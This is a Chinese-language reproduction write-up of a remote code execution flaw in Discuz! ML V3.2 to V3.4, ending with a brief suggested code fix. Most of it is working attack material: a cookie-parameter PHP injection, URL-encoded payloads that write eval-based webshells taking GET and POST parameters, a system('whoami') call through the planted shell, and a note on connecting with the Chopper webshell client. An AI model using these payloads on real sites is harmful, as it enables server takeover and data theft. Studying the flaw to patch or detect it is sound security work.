Discuz! ML RCE漏洞 getshell 復現


Discuz! ML RCE漏洞 getshell 復現

0x00 影響版本

Discuz!ML是一個由CodersClub.org創建的多語言,集成,功能齊全的開源網絡平台, 用於構建像“社交網絡”這樣的互聯網社區,漏洞版本如下:

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

0x01 環境搭建

使用phpstudy搭建:直接官網下載即可http://discuz.ml/download,將壓縮包解壓至phpstudy網站根目錄,瀏覽器訪問upload目錄即可開始安裝

0x02 漏洞復

左上角有語言圖標,隨便選擇一種語言並抓包

將抓到的包發送到repeater模塊

將包中cookie的xxxxx_language參數值改為 '.phpinfo().' ,可以看到成功執行了代碼,得到了phpinfo信息,如下圖

0x03 Getshell

EXP:

解碼后:

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

解碼前:

'.+file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')

將包中cookie的xxxxx_language參數值改為exp,可以看到成功執行了代碼,在文件夾中多出了shell.php文件,如下圖:

在url中訪問http://192.168.1.9/vot-discuz.ml-fa108dcc726d/upload/shell.php?cmd=system(%27whoami%27);

可以看到執行了命令。

Exp:

%27.+file_put_contents%28%27shelll.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27

原語句:

<?php  eval($_POST["a1"]);?>

將包中cookie的xxxxx_language參數值改為exp,可以看到成功執行了代碼,在文件夾中多出了shelll.php文件,如下圖

訪問該文件,發現該文件被執行。

使用菜刀成功連接:

0X03 修復建議

建議修改source/function/function_core.php 644行為:

 

/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';

 

刪除可控變量。

或者安裝最新補丁。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM